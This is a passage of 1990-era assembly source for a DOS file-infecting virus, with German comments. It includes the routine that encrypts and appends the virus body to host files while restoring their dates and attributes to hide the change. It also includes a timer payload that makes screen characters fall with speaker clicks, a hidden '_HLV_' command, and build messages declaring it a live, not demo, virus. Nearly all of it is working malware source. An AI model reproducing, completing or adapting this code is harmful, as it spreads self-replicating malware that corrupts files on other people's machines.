  1087.         MOV    DX,CS:[File_Size_lsb]        ;
  1088.  
  1089.         MSDOS                    ;
  1090.  
  1091.         MOV    AH,MS_Write            ;
  1092.  
  1093.         XOR    CX,CX                ;
  1094.  
  1095.         MSDOS                    ;
  1096.  
  1097.         JMP    SHORT XI_023            ;
  1098.  
  1099. XI_022:     MOV    AX,MS_MoveFP * 100 + OfsFrmTop    ;
  1100.  
  1101.         XOR    CX,CX                ;
  1102.  
  1103.         XOR    DX,DX                ;
  1104.  
  1105.         MSDOS                    ;
  1106.  
  1107.         JB    XI_023                ;
  1108.  
  1109.         MOV    AX,CS:[File_Size_lsb]        ;
  1110.  
  1111.         ADD    AX,-2                ;
  1112.  
  1113.         MOV    CS:[FirstOpCode_2],AX        ;
  1114.  
  1115.         MOV    AH,MS_Write            ;
  1116.  
  1117.         MOV    DX,OFFSET FirstOpCode_1     ;
  1118.  
  1119.         MOV    CX,3                ;
  1120.  
  1121.         MSDOS                    ;
  1122.  
  1123. XI_023:     MOV    AX,MS_SetFileDate        ;
  1124.  
  1125.         MOV    DX,CS:[File_Date]        ;
  1126.  
  1127.         MOV    CX,CS:[File_Time]        ;
  1128.  
  1129.         MSDOS                    ;
  1130.  
  1131.         MOV    AH,MS_Close            ;
  1132.  
  1133.         MSDOS                    ;
  1134.  
  1135.         MOV    CX,CS:[File_Attributes]     ;
  1136.  
  1137.         TEST    CL,Attr_SHR            ;
  1138.  
  1139.         JNZ    XI_024                ;
  1140.  
  1141.         TEST    CL,Attr_A            ;
  1142.  
  1143.         JNZ    XI_025                ;
  1144.  
  1145. XI_024:     MOV    AX,MS_SetFileAttr        ;
  1146.  
  1147.         LDS    DX,CS:DWORD PTR [Pathname]    ;
  1148.  
  1149.         MSDOS                    ;
  1150.  
  1151. IF2                            ;----------------;
  1152.  
  1153. %Out    ║░░░░░░░░░░░░░░░░░░░░░░╔═════════════════╗░░░░░░░░░░░░░░░░░░░░░░░║
  1154.  
  1155. %Out    ║░░░░░░░░░░░░░░░░░░░░░░║    KEIN DEMO,     ║░░░░░░░░░░░░░░░░░░░░░░░║
  1156.  
  1157. %Out    ║░░░░░░░░░░░░░░░░░░░░░░║ scharfer Virus. ║░░░░░░░░░░░░░░░░░░░░░░░║
  1158.  
  1159. ENDIF                                     ;
  1160.  
  1161. ELSE                                     ;
  1162.  
  1163.         .ERR                             ;
  1164.  
  1165. ENDIF                                     ;
  1166.  
  1167. ENDIF                                     ;
  1168.  
  1169. IF SWITCHABLE                                 ;
  1170.  
  1171. IF2                                     ;
  1172.  
  1173. %Out    ║░░░░░░░░░░░╔══════════╩═════════════════╩══════════╗░░░░░░░░░░░░║
  1174.  
  1175. %Out    ║░░░░░░░░░░░║ Neuer interner MSDOS Befehl '_HLV_' ! ║░░░░░░░░░░░░║
  1176.  
  1177. ENDIF                                     ;
  1178.  
  1179. ELSE                                     ;
  1180.  
  1181. IF2                                     ;
  1182.  
  1183. %Out    ║░░░░░░░░░░░╔══════════╩═════════════════╩══════════╗░░░░░░░░░░░░║
  1184.  
  1185. %Out    ║░░░░░░░░░░░║ Kommando '_HLV_' nicht implementiert. ║░░░░░░░░░░░░║
  1186.  
  1187. ENDIF                                     ;
  1188.  
  1189. ENDIF                                     ;
  1190.  
  1191. DISPNUM MACRO    nu,nuxx                          ;
  1192.  
  1193. %Out    ║░░░░░░░░░░░║    (Monat - Jahr)         nu     -  nuxx    ║░░░░░░░░░░░░║
  1194.  
  1195. ENDM                                     ;
  1196.  
  1197. IF2                                     ;
  1198.  
  1199. %Out    ║░░░░░░░░░░░║      Bis zum Jahresende aktiv ab:        ║░░░░░░░░░░░░║
  1200.  
  1201. .radix 10                                 ;
  1202.  
  1203. DISPNUM %MONTH,%YEAR                             ;
  1204.  
  1205. .radix 16                                 ;
  1206.  
  1207. %Out    ║░░░░░░░░░░░╚═══════════════════════════════════════╝░░░░░░░░░░░░║
  1208.  
  1209. endif                                     ;
  1210.  
  1211. XI_025:     REST    DS,ES,BP,DI,SI,DX,CX,BX,AX,F    ;----------------;
  1212.  
  1213.         JMP    XI_014                ;
  1214.  
  1215. IF DEMO                         ;
  1216.  
  1217.                             ;
  1218.  
  1219.         comment                 #
  1220.  
  1221. ┌──────────────────────────────────────────────────────────────────────────────┐
  1222.  
  1223. │    Statt APPEND in der DEMO - Version aufgerufene Prozedur.           │
  1224.  
  1225. └──────────────────────────────────────────────────────────────────────────────┘
  1226.  
  1227.         #                    ;
  1228.  
  1229. DEMO_INFECT    PROC    NEAR                ;
  1230.  
  1231.         push    ax                ;
  1232.  
  1233.         push    cx                ;
  1234.  
  1235.         in    al,61                ;
  1236.  
  1237.         or    al,3                ;
  1238.  
  1239.         out    61,al                ;
  1240.  
  1241.         mov    al,0b6                ;
  1242.  
  1243.         out    43,al                ;
  1244.  
  1245.         mov    cx,0a                ;
  1246.  
  1247. XI_026:     dec    cx                ;
  1248.  
  1249.         jz    XI_030                ;
  1250.  
  1251. XI_027:     mov    ax,200d             ;
  1252.  
  1253. XI_028:     dec    ax                ;
  1254.  
  1255.         cmp    ax,100d             ;
  1256.  
  1257.         jz    XI_031                ;
  1258.  
  1259.         push    ax                ;
  1260.  
  1261.         out    42,al                ;
  1262.  
  1263.         push    cx                ;
  1264.  
  1265.         mov    cx,150d             ;
  1266.  
  1267. XI_029:     nop                    ;
  1268.  
  1269.         loop    XI_029                ;
  1270.  
  1271.         pop    cx                ;
  1272.  
  1273.         mov    al,ah                ;
  1274.  
  1275.         out    42,al                ;
  1276.  
  1277.         pop    ax                ;
  1278.  
  1279.         jmp    XI_028                ;
  1280.  
  1281. XI_030:     in    al,61                ;
  1282.  
  1283.         and    al,0fc                ;
  1284.  
  1285.         out    61,al                ;
  1286.  
  1287.         pop    cx                ;
  1288.  
  1289.         pop    ax                ;
  1290.  
  1291.         ret                    ;
  1292.  
  1293. XI_031:     inc    ax                ;
  1294.  
  1295.         cmp    ax,600d             ;
  1296.  
  1297.         jz    XI_026                ;
  1298.  
  1299.         push    ax                ;
  1300.  
  1301.         out    42,al                ;
  1302.  
  1303.         push    cx                ;
  1304.  
  1305.         mov    cx,150d             ;
  1306.  
  1307. XI_032:     nop                    ;
  1308.  
  1309.         loop    XI_032                ;
  1310.  
  1311.         pop    cx                ;
  1312.  
  1313.         mov    al,ah                ;
  1314.  
  1315.         out    42,al                ;
  1316.  
  1317.         pop    ax                ;
  1318.  
  1319.         jmp    XI_031                ;
  1320.  
  1321. DEMO_INFECT    ENDP                    ;
  1322.  
  1323.                             ;
  1324.  
  1325. ELSE                            ;
  1326.  
  1327.         comment                 #
  1328.  
  1329. ┌──────────────────────────────────────────────────────────────────────────────┐
  1330.  
  1331. │    Append Virus - von der Int21ISR aufgerufene Infektions-Prozdur           │
  1332.  
  1333. └──────────────────────────────────────────────────────────────────────────────┘
  1334.  
  1335.         #                    ;
  1336.  
  1337. Append_Virus    PROC    NEAR                ;
  1338.  
  1339.         SAVE    ES,BX                ;
  1340.  
  1341.         MOV    AH,MS_AllocMem            ;----------;
  1342.  
  1343.         MOV    BX,(OFFSET EOFC - OFFSET Crypt1) SHR 4 + 1 ;
  1344.  
  1345.         MSDOS                    ;----------;
  1346.  
  1347.         POP    BX                ;
  1348.  
  1349.         JNB    XI_034                ;
  1350.  
  1351. XI_033:     STC                    ;
  1352.  
  1353.         POP    ES                ;
  1354.  
  1355.         RET                    ;
  1356.  
  1357. XI_034:     MOV    CS:[Crypt3],EnCrptd        ;
  1358.  
  1359.         MOV    ES,AX                ;
  1360.  
  1361.         MOV_S    DS,CS                ;
  1362.  
  1363.         XOR    DI,DI                ;
  1364.  
  1365.         MOV    SI,PSPsize            ;
  1366.  
  1367.         MOV    CX,OFFSET EOFC            ;
  1368.  
  1369.         CLD                    ;
  1370.  
  1371.         REPZ    MOVSB                ;
  1372.  
  1373.         MOV    DI,OFFSET XI_003        ;
  1374.  
  1375.         MOV    SI,OFFSET XR_001        ;
  1376.  
  1377.         ADD    SI,[File_Size_lsb]        ;
  1378.  
  1379.         MOV    CX,OFFSET EOFC - OFFSET XI_003    ;
  1380.  
  1381. XI_035:     XOR    ES:[DI],SI            ;
  1382.  
  1383.         XOR    ES:[DI],CX            ;
  1384.  
  1385.         INC    DI                ;
  1386.  
  1387.         INC    SI                ;
  1388.  
  1389.         LOOP    XI_035                ;
  1390.  
  1391.         MOV    DS,AX                ;
  1392.  
  1393.         MOV    AH,MS_Write            ;
  1394.  
  1395.         XOR    DX,DX                ;
  1396.  
  1397.         MOV    CX,OFFSET EOFC            ;
  1398.  
  1399.         MSDOS                    ;
  1400.  
  1401.         SAVE    F,AX                ;
  1402.  
  1403.         MOV    AH,MS_ReleaseMem        ;
  1404.  
  1405.         MSDOS                    ;
  1406.  
  1407.         REST    AX,F                ;
  1408.  
  1409.         MOV_S    DS,CS                ;
  1410.  
  1411.         JB    XI_033                ;
  1412.  
  1413.         CMP    AX,CX                ;
  1414.  
  1415.         JNZ    XI_033                ;
  1416.  
  1417.         POP    ES                ;
  1418.  
  1419.         CLC                    ;
  1420.  
  1421.         RET                    ;
  1422.  
  1423. Append_Virus    ENDP                    ;
  1424.  
  1425.                             ;
  1426.  
  1427. ENDIF                            ;
  1428.  
  1429.         comment                 #
  1430.  
  1431. ┌──────────────────────────────────────────────────────────────────────────────┐
  1432.  
  1433. │    'Zufallszahlen' - Generator.                           │
  1434.  
  1435. └──────────────────────────────────────────────────────────────────────────────┘
  1436.  
  1437.         #                    ;
  1438.  
  1439. Random        PROC    NEAR                ;
  1440.  
  1441.         SAVE    DS                ;
  1442.  
  1443.         MOV_S    DS,CS                ;
  1444.  
  1445.         SAVE    BX,CX,DX,AX            ;
  1446.  
  1447.         MOV    CX,7                ;
  1448.  
  1449.         MOV    BX,offset LastRandom        ;
  1450.  
  1451.         PUSH    [BX]                ;
  1452.  
  1453. XI_036:     MOV    AX,[BX-02]            ;
  1454.  
  1455.         ADC    [BX],AX             ;
  1456.  
  1457.         DEC    BX                ;
  1458.  
  1459.         DEC    BX                ;
  1460.  
  1461.         LOOP    XI_036                ;
  1462.  
  1463.         POP    AX                ;
  1464.  
  1465.         ADC    [BX],AX             ;
  1466.  
  1467.         MOV    DX,[BX]             ;
  1468.  
  1469.         POP    AX                ;
  1470.  
  1471.         OR    AX,AX                ;
  1472.  
  1473.         JZ    XI_037                ;
  1474.  
  1475.         MUL    DX                ;
  1476.  
  1477. XI_037:     MOV    AX,DX                ;
  1478.  
  1479.         REST    DX,CX,BX,DS            ;
  1480.  
  1481.         RET                    ;
  1482.  
  1483. Random        ENDP                    ;
  1484.  
  1485.         comment                 #
  1486.  
  1487. ┌──────────────────────────────────────────────────────────────────────────────┐
  1488.  
  1489. │    Zeichen und Attribut aus Videospeicher auslesen.               │
  1490.  
  1491. └──────────────────────────────────────────────────────────────────────────────┘
  1492.  
  1493.         #                    ;
  1494.  
  1495. Load_from_VRAM    PROC    NEAR                ;
  1496.  
  1497.         SAVE    SI,DS,DX            ;
  1498.  
  1499.         MOV    AL,DH                ;
  1500.  
  1501.         MUL    [Num_of_Col]            ;
  1502.  
  1503.         MOV    DH,0                ;
  1504.  
  1505.         ADD    AX,DX                ;
  1506.  
  1507.         SHL    AX,1                ;
  1508.  
  1509.         ADD    AX,[Page_offset]        ;
  1510.  
  1511.         MOV    SI,AX                ;
  1512.  
  1513.         TEST    [Prevent_Snow?],-1        ;
  1514.  
  1515.         MOV    DS,[Seg_of_VRAM]        ;
  1516.  
  1517.         JZ    XI_038                ;
  1518.  
  1519.         Wait_HRI_or_VRI             ;
  1520.  
  1521. XI_038:     LODSW                    ;
  1522.  
  1523.         STI                    ;
  1524.  
  1525.         REST    DX,DS,SI            ;
  1526.  
  1527.         RET                    ;
  1528.  
  1529. Load_from_VRAM    ENDP                    ;
  1530.  
  1531.         comment                 #
  1532.  
  1533. ┌──────────────────────────────────────────────────────────────────────────────┐
  1534.  
  1535. │    Zeichen und Attribut (AX) in den Videospeicher schreiben.              │
  1536.  
  1537. └──────────────────────────────────────────────────────────────────────────────┘
  1538.  
  1539.         #                    ;
  1540.  
  1541. Write_to_VRAM    PROC    NEAR                ;
  1542.  
  1543.         SAVE    DI,ES,DX,BX            ;
  1544.  
  1545.         MOV    BX,AX                ;
  1546.  
  1547.         MOV    AL,DH                ;
  1548.  
  1549.         MUL    [Num_of_Col]            ;
  1550.  
  1551.         MOV    DH,0                ;
  1552.  
  1553.         ADD    AX,DX                ;
  1554.  
  1555.         SHL    AX,1                ;
  1556.  
  1557.         ADD    AX,[Page_offset]        ;
  1558.  
  1559.         MOV    DI,AX                ;
  1560.  
  1561.         TEST    [Prevent_Snow?],-1        ;
  1562.  
  1563.         MOV    ES,[Seg_of_VRAM]        ;
  1564.  
  1565.         JZ    XI_039                ;
  1566.  
  1567.         Wait_HRI_or_VRI             ;
  1568.  
  1569. XI_039:     MOV    AX,BX                ;
  1570.  
  1571.         STOSB                    ;
  1572.  
  1573.         STI                    ;
  1574.  
  1575.         REST    BX,DX,ES,DI            ;
  1576.  
  1577.         RET                    ;
  1578.  
  1579. Write_to_VRAM    ENDP                    ;
  1580.  
  1581.         comment                 #
  1582.  
  1583. ┌──────────────────────────────────────────────────────────────────────────────┐
  1584.  
  1585. │    Bit 0 von Port B des 8255 Chips zurücksetzen (IO-Adresse : &H61 ).     │
  1586.  
  1587. └──────────────────────────────────────────────────────────────────────────────┘
  1588.  
  1589.         #                    ;
  1590.  
  1591. Toggle_Speaker    PROC    NEAR                ;
  1592.  
  1593.         PUSH    AX                ;
  1594.  
  1595.         IN    AL,PORT_B_8255            ;
  1596.  
  1597.         XOR    AL,02                ;
  1598.  
  1599.         AND    AL,0FE                ;
  1600.  
  1601.         OUT    PORT_B_8255,AL            ;
  1602.  
  1603.         POP    AX                ;
  1604.  
  1605.         RET                    ;
  1606.  
  1607. Toggle_Speaker    ENDP                    ;
  1608.  
  1609.         comment                 #
  1610.  
  1611. ┌──────────────────────────────────────────────────────────────────────────────┐
  1612.  
  1613. │    CF gesetzt, wenn AL ein nicht darstellbares Zeichen enthält.           │
  1614.  
  1615. └──────────────────────────────────────────────────────────────────────────────┘
  1616.  
  1617.         #                    ;
  1618.  
  1619. Is_it_blank_?    PROC    NEAR                ;
  1620.  
  1621.         CMP    AL,0                ;
  1622.  
  1623.         JZ    XI_040                ;
  1624.  
  1625.         CMP    AL,20                ;
  1626.  
  1627.         JZ    XI_040                ;
  1628.  
  1629.         CMP    AL,-1                ;
  1630.  
  1631.         JZ    XI_040                ;
  1632.  
  1633.         CLC                    ;
  1634.  
  1635.         RET                    ;
  1636.  
  1637. XI_040:     STC                    ;
  1638.  
  1639.         RET                    ;
  1640.  
  1641. Is_it_blank_?    ENDP                    ;
  1642.  
  1643.         comment                 #
  1644.  
  1645. ┌──────────────────────────────────────────────────────────────────────────────┐
  1646.  
  1647. │    CF gesetzt, wenn AL ein Zeichen aus dem Linienzeichensatz enthält.     │
  1648.  
  1649. └──────────────────────────────────────────────────────────────────────────────┘
  1650.  
  1651.         #                    ;
  1652.  
  1653. Spec_Graphik?    PROC    NEAR                ;
  1654.  
  1655.         CMP    AL,0B0                ;
  1656.  
  1657.         JB    XI_041                ;
  1658.  
  1659.         CMP    AL,0DF                ;
  1660.  
  1661.         JA    XI_041                ;
  1662.  
  1663.         STC                    ;
  1664.  
  1665.         RET                    ;
  1666.  
  1667. XI_041:     CLC                    ;
  1668.  
  1669.         RET                    ;
  1670.  
  1671. Spec_Graphik?    ENDP                    ;
  1672.  
  1673.         comment                 #
  1674.  
  1675. ┌──────────────────────────────────────────────────────────────────────────────┐
  1676.  
  1677. │    Geschwindigkeit der Maschine ( zur Verwendung in DELAY ) ermitteln.    │
  1678.  
  1679. └──────────────────────────────────────────────────────────────────────────────┘
  1680.  
  1681.         #                    ;
  1682.  
  1683. GetSysSpeed    PROC    NEAR                ;
  1684.  
  1685.         PUSH    DS                ;
  1686.  
  1687.         MOV    AX,BIOSDATASEG            ;
  1688.  
  1689.         MOV    DS,AX                ;
  1690.  
  1691.         STI                    ;
  1692.  
  1693.         MOV    AX,[B_TIMERVAR]         ;
  1694.  
  1695. XI_042:     CMP    AX,[B_TIMERVAR]         ;
  1696.  
  1697.         JZ    XI_042                ;
  1698.  
  1699.         XOR    CX,CX                ;
  1700.  
  1701.         MOV    AX,[B_TIMERVAR]         ;
  1702.  
  1703. XI_043:     INC    CX                ;
  1704.  
  1705.         JZ    XI_045                ;
  1706.  
  1707.         CMP    AX,[B_TIMERVAR]         ;
  1708.  
  1709.         JZ    XI_043                ;
  1710.  
  1711. XI_044:     POP    DS                ;
  1712.  
  1713.         MOV    AX,CX                ;
  1714.  
  1715.         XOR    DX,DX                ;
  1716.  
  1717.         MOV    CX,0F                ;
  1718.  
  1719.         DIV    CX                ;
  1720.  
  1721.         MOV    CS:[Speed],AX            ;
  1722.  
  1723.         RET                    ;
  1724.  
  1725. XI_045:     DEC    CX                ;
  1726.  
  1727.         JMP    XI_044                ;
  1728.  
  1729. GetSysSpeed    ENDP                    ;
  1730.  
  1731.         comment                 #
  1732.  
  1733. ┌──────────────────────────────────────────────────────────────────────────────┐
  1734.  
  1735. │    Verzögern ( Verzögerungszeit ist kaum maschinenabhängig ).             │
  1736.  
  1737. └──────────────────────────────────────────────────────────────────────────────┘
  1738.  
  1739.         #                    ;
  1740.  
  1741. Delay        PROC    NEAR                ;
  1742.  
  1743.         PUSH    CX                ;
  1744.  
  1745. XI_046:     PUSH    CX                ;
  1746.  
  1747.         MOV    CX,[Speed]            ;
  1748.  
  1749. XI_047:     LOOP    XI_047                ;
  1750.  
  1751.         POP    CX                ;
  1752.  
  1753.         LOOP    XI_046                ;
  1754.  
  1755.         POP    CX                ;
  1756.  
  1757.         RET                    ;
  1758.  
  1759. Delay        ENDP                    ;
  1760.  
  1761.         comment                 #
  1762.  
  1763. ┌──────────────────────────────────────────────────────────────────────────────┐
  1764.  
  1765. │    Eine neue Interrupt 1C(h) Behandlungsroutine.                   │
  1766.  
  1767. └──────────────────────────────────────────────────────────────────────────────┘
  1768.  
  1769.         #                    ;
  1770.  
  1771. XI_048        LABEL    NEAR                ;
  1772.  
  1773. XR_009        EQU    XI_048 + PSPsize        ;----------;
  1774.  
  1775.         TEST    CS:[ISR_Flags],MASK R_in_1c OR MASK ExtCom ;
  1776.  
  1777.         JZ    XI_049                ;----------;
  1778.  
  1779.         JMP    XI_067                ;
  1780.  
  1781. XI_049:     OR    CS:[ISR_Flags],MASK R_in_1c    ;
  1782.  
  1783.         DEC    CS:[XR_002]            ;
  1784.  
  1785.         JZ    XI_050                ;
  1786.  
  1787.         JMP    XI_066                ;
  1788.  
  1789. XI_050:     SAVE    DS,ES                ;
  1790.  
  1791.         MOV_S    DS,CS                ;
  1792.  
  1793.         MOV_S    ES,CS                ;
  1794.  
  1795.         SAVE    AX,BX,CX,DX,SI,DI,BP        ;
  1796.  
  1797.         MOV    AL,EOI_8259A            ;
  1798.  
  1799.         OUT    PORT_B_8259A,AL         ;
  1800.  
  1801.         MOV    AX,[XR_003]            ;
  1802.  
  1803.         CMP    AX,0438             ;
  1804.  
  1805.         JNB    XI_051                ;
  1806.  
  1807.         MOV    AX,0438             ;
  1808.  
  1809. XI_051:     CALL    Random                ;
  1810.  
  1811.         INC    AX                ;
  1812.  
  1813.         MOV    [XR_002],AX            ;
  1814.  
  1815.         MOV    [XR_003],AX            ;
  1816.  
  1817.         PUSH    DS                ;
  1818.  
  1819.         MOV    AX,BIOSDATASEG            ;
  1820.  
  1821.         MOV    DS,AX                ;
  1822.  
  1823.         MOV    AX,[B_VidPage]            ;
  1824.  
  1825.         POP    DS                ;
  1826.  
  1827.         MOV    [Page_offset],AX        ;
  1828.  
  1829.         MOV    [Last_Line],18            ;
  1830.  
  1831.         MOV    DL,-1                ;
  1832.  
  1833.         MOV    AX,1130             ;
  1834.  
  1835.         MOV    BH,0                ;
  1836.  
  1837.         SAVE    ES,BP                ;
  1838.  
  1839.         INT    10                ;
  1840.  
  1841.         REST    BP,ES                ;
  1842.  
  1843.         CMP    DL,-1                ;
  1844.  
  1845.         JZ    XI_052                ;
  1846.  
  1847.         MOV    [Last_Line],DL            ;
  1848.  
  1849. XI_052:     CALL    GetSysSpeed            ;
  1850.  
  1851.         MOV    AH,0F                ;
  1852.  
  1853.         INT    10                ;
  1854.  
  1855.         MOV    [Num_of_Col],AH         ;
  1856.  
  1857.         MOV    [Prevent_Snow?],0        ;
  1858.  
  1859.         MOV    [Seg_of_VRAM],MonoBase        ;
  1860.  
  1861.         CMP    AL,07                ;
  1862.  
  1863.         JZ    XI_054                ;
  1864.  
  1865.         JB    XI_053                ;
  1866.  
  1867.         JMP    XI_064                ;
  1868.  
  1869. XI_053:     MOV    [Seg_of_VRAM],ColorBase     ;
  1870.  
  1871.         CMP    AL,03                ;
  1872.  
  1873.         JA    XI_054                ;
  1874.  
  1875.         CMP    AL,02                ;
  1876.  
  1877.         JB    XI_054                ;
  1878.  
  1879.         MOV    [Prevent_Snow?],01        ;
  1880.  
  1881.         MOV    AL,[Last_Line]            ;
  1882.  
  1883.         INC    AL                ;
  1884.  
  1885.         MUL    [Num_of_Col]            ;
  1886.  
  1887.         MOV    [Num_of_char],AX        ;
  1888.  
  1889.         MOV    AX,[XR_004]            ;
  1890.  
  1891.         CMP    AX,[Num_of_char]        ;
  1892.  
  1893.         JBE    XI_054                ;
  1894.  
  1895.         MOV    AX,[Num_of_char]        ;
  1896.  
  1897. XI_054:     CALL    Random                ;
  1898.  
  1899.         INC    AX                ;
  1900.  
  1901.         MOV    SI,AX                ;
  1902.  
  1903. XI_055:     XOR    DI,DI                ;
  1904.  
  1905. XI_056:     INC    DI                ;
  1906.  
  1907.         MOV    AX,[Num_of_char]        ;
  1908.  
  1909.         SHL    AX,1                ;
  1910.  
  1911.         CMP    DI,AX                ;
  1912.  
  1913.         JBE    XI_057                ;
  1914.  
  1915.         JMP    XI_064                ;
  1916.  
  1917. XI_057:     OR    [ISR_Flags],MASK Recf_1     ;
  1918.  
  1919.         MOV    AL,[Num_of_Col]         ;
  1920.  
  1921.         MOV    AH,0                ;
  1922.  
  1923.         CALL    Random                ;
  1924.  
  1925.         MOV    DL,AL                ;
  1926.  
  1927.         MOV    AL,[Last_Line]            ;
  1928.  
  1929.         MOV    AH,0                ;
  1930.  
  1931.         CALL    Random                ;
  1932.  
  1933.         MOV    DH,AL                ;
  1934.  
  1935.         CALL    Load_from_VRAM            ;
  1936.  
  1937.         CALL    Is_it_blank_?            ;
  1938.  
  1939.         JB    XI_056                ;
  1940.  
  1941.         CALL    Spec_Graphik?            ;
  1942.  
  1943.         JB    XI_056                ;
  1944.  
  1945.         MOV    [Last_Pair],AX            ;
  1946.  
  1947.         MOV    CL,[Last_Line]            ;
  1948.  
  1949.         MOV    CH,0                ;
  1950.  
  1951. XI_058:     INC    DH                ;
  1952.  
  1953.         CMP    DH,[Last_Line]            ;
  1954.  
  1955.         JA    XI_062                ;
  1956.  
  1957.         CALL    Load_from_VRAM            ;
  1958.  
  1959.         CMP    AH,[Last_Attr]            ;
  1960.  
  1961.         JNZ    XI_062                ;
  1962.  
  1963.         CALL    Is_it_blank_?            ;
  1964.  
  1965.         JB    XI_060                ;
  1966.  
  1967. XI_059:     CALL    Spec_Graphik?            ;
  1968.  
  1969.         JB    XI_062                ;
  1970.  
  1971.         INC    DH                ;
  1972.  
  1973.         CMP    DH,[Last_Line]            ;
  1974.  
  1975.         JA    XI_062                ;
  1976.  
  1977.         CALL    Load_from_VRAM            ;
  1978.  
  1979.         CMP    AH,[Last_Attr]            ;
  1980.  
  1981.         JNZ    XI_062                ;
  1982.  
  1983.         CALL    Is_it_blank_?            ;
  1984.  
  1985.         JNB    XI_059                ;
  1986.  
  1987.         CALL    Toggle_Speaker            ;
  1988.  
  1989.         DEC    DH                ;
  1990.  
  1991.         CALL    Load_from_VRAM            ;
  1992.  
  1993.         MOV    [Last_Char],AL            ;
  1994.  
  1995.         INC    DH                ;
  1996.  
  1997. XI_060:     AND    [ISR_Flags],NOT MASK Recf_1    ;
  1998.  
  1999.         DEC    DH                ;
  2000.  
  2001.         MOV    AL,' '                ;
  2002.  
  2003.         CALL    Write_to_VRAM            ;
  2004.  
  2005.         INC    DH                ;
  2006.  
  2007.         MOV    AL,[Last_Char]            ;
  2008.  
  2009.         CALL    Write_to_VRAM            ;
  2010.  
  2011.         JCXZ    XI_061                ;
  2012.  
  2013.         CALL    Delay                ;
  2014.  
  2015.         DEC    CX                ;
  2016.  
  2017. XI_061:     JMP    XI_058                ;
  2018.  
  2019. XI_062:     TEST    [ISR_Flags],MASK Recf_1     ;
  2020.  
  2021.         JZ    XI_063                ;
  2022.  
  2023.         JMP    XI_056                ;
  2024.  
  2025. XI_063:     CALL    Toggle_Speaker            ;
  2026.  
  2027.         DEC    SI                ;
  2028.  
  2029.         JZ    XI_064                ;
  2030.  
  2031.         JMP    XI_055                ;
  2032.  
  2033. XI_064:     IN    AL,PORT_B_8255            ;
  2034.  
  2035.         AND    AL,0FC                ;
  2036.  
  2037.         OUT    PORT_B_8255,AL            ;
  2038.  
  2039.         MOV    AX,3                ;
  2040.  
  2041.         CALL    Random                ;
  2042.  
  2043.         INC    AX                ;
  2044.  
  2045.         MUL    [XR_004]            ;
  2046.  
  2047.         JNB    XI_065                ;
  2048.  
  2049.         MOV    AX,-1                ;
  2050.  
  2051. XI_065:     MOV    [XR_004],AX            ;
  2052.  
  2053.         REST    BP,DI,SI,DX,CX,BX,AX,ES,DS    ;
  2054.  
  2055. XI_066:     AND    CS:[ISR_Flags],NOT MASK R_in_1c ;
  2056.  
  2057. XI_067:     JMP    DWORD PTR CS:[Org_Int_1C]    ;
  2058.  
  2059.                             ;
  2060.  
  2061. IF    SWITCHABLE                    ;
  2062.  
  2063.                             ;
  2064.  
  2065.         comment                 #
  2066.  
  2067. ┌──────────────────────────────────────────────────────────────────────────────┐
  2068.  
  2069. │    Implementierung eines neuen in CMD_2F definierten internen Befehls.    │
  2070.  
  2071. └──────────────────────────────────────────────────────────────────────────────┘
  2072.  
  2073.         #                    ;
  2074.  
  2075. XI_068        Label    Near                ;
  2076.  
  2077. Int_2F_ISR    EQU    XI_068 + PSPsize        ;
  2078.  
  2079.         CMP    AH,0AEH             ;
  2080.  
  2081.         JNZ    Int_2F_end            ;
  2082.  
  2083.         CMP    DX,-1                ;
  2084.  
  2085.         JNZ    Int_2F_end            ;
  2086.  
  2087.         CMP    AL,0                ;
  2088.  
  2089.         JNZ    Int_2F_2nd            ;
  2090.  
  2091.         CALL    Decode_2F            ;
  2092.  
  2093.         JNZ    Int_2F_end            ;
  2094.  
  2095.         DEC    AL                ;
  2096.  
  2097.         IRET                    ;
  2098.  
  2099. Int_2F_2nd:    CMP    AL,1                ;
  2100.  
  2101.         JNZ    Int_2F_end            ;
  2102.  
  2103.         CALL    Decode_2F            ;
  2104.  
  2105.         JNZ    Int_2F_end            ;
  2106.  
  2107.         SAVE    DS,DX,AX            ;
  2108.  
  2109.         MOV_S    DS,CS                ;
  2110.  
  2111.         XOR    [ISR_Flags],MASK ExtCom     ;
  2112.  
  2113.         MOV    DX,OFFSET MSG_ON        ;
  2114.  
  2115.         TEST    [ISR_Flags],MASK ExtCom     ;
  2116.  
  2117.         JZ    XI_069                ;
  2118.  
  2119.         MOV    DX,OFFSET MSG_OFF        ;
  2120.  
  2121. XI_069:     MOV    AH,9                ;
  2122.  
  2123.         MSDOS                    ;
  2124.  
  2125.         REST    AX,DX,DS            ;
  2126.  
  2127.         AND    BYTE PTR [SI],0         ;
  2128.  
  2129.         IRET                    ;
  2130.  
  2131. Int_2F_end:    JMP    DWORD PTR CS:[Org_Int_2F]    ;
  2132.  
  2133.         comment                 #
  2134.  
  2135. ┌──────────────────────────────────────────────────────────────────────────────┐
  2136.  
  2137. │    Überprüfen, ob der in CMD_2F definierte Befehl angesprochen wurde.     │
  2138.  
  2139. └──────────────────────────────────────────────────────────────────────────────┘
  2140.  
  2141.         #                    ;
  2142.  
  2143. Decode_2F    PROC    NEAR                ;
  2144.  
  2145.         SAVE    SI,DI,ES,CX            ;
  2146.  
  2147.         MOV    CX,05                ;
  2148.  
  2149.         MOV_S    ES,CS                ;
  2150.  
  2151.         MOV    DI,OFFSET Cmd_2F        ;
  2152.  
  2153.         CLD                    ;
  2154.  
  2155.         REPE    CMPSW                ;
  2156.  
  2157.         REST    CX,ES,DI,SI            ;
  2158.  
  2159.         RET                    ;
  2160.  
  2161. Decode_2F    ENDP                    ;
  2162.  
  2163.                             ;
  2164.  
  2165. ENDIF                            ;
  2166.  
  2167.         comment                 #
  2168.  
  2169. ┌──────────────────────────────────────────────────────────────────────────────┐
  2170.  
  2171. │    Okay, das war's. Zum Schluß noch einige Definitionen.               │
  2172.  
  2173. └──────────────────────────────────────────────────────────────────────────────┘
  2174.  
  2175.         #                    ;
  2176.  
  2177. EOFC        EQU    THIS WORD            ;
  2178.  
  2179. XR_010        EQU    OFFSET EOFC - 1 + FIRSTBASE    ;
  2180.  
  2181. TEXT        ENDS                    ;
  2182.  
  2183. IF2                            ;----------------;
  2184.  
  2185. %Out    ║░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  2186.  
  2187. %Out    ╚════════ (C) 1990 164A12565AA18213165556D3125C4B962712 ═════════╝
  2188.  
  2189. ENDIF                                     ;
  2190.  
  2191. comment                                  #
  2192.  
  2193. ╔══════════════════════════════════════════════════════════════════════════════╗
  2194.  
  2195. ║                                           ║
  2196.  
  2197. ║ So könnte ein Batch - Makefile aussehen :                                    ║
  2198.  
  2199. ║                                                                              ║
  2200.  
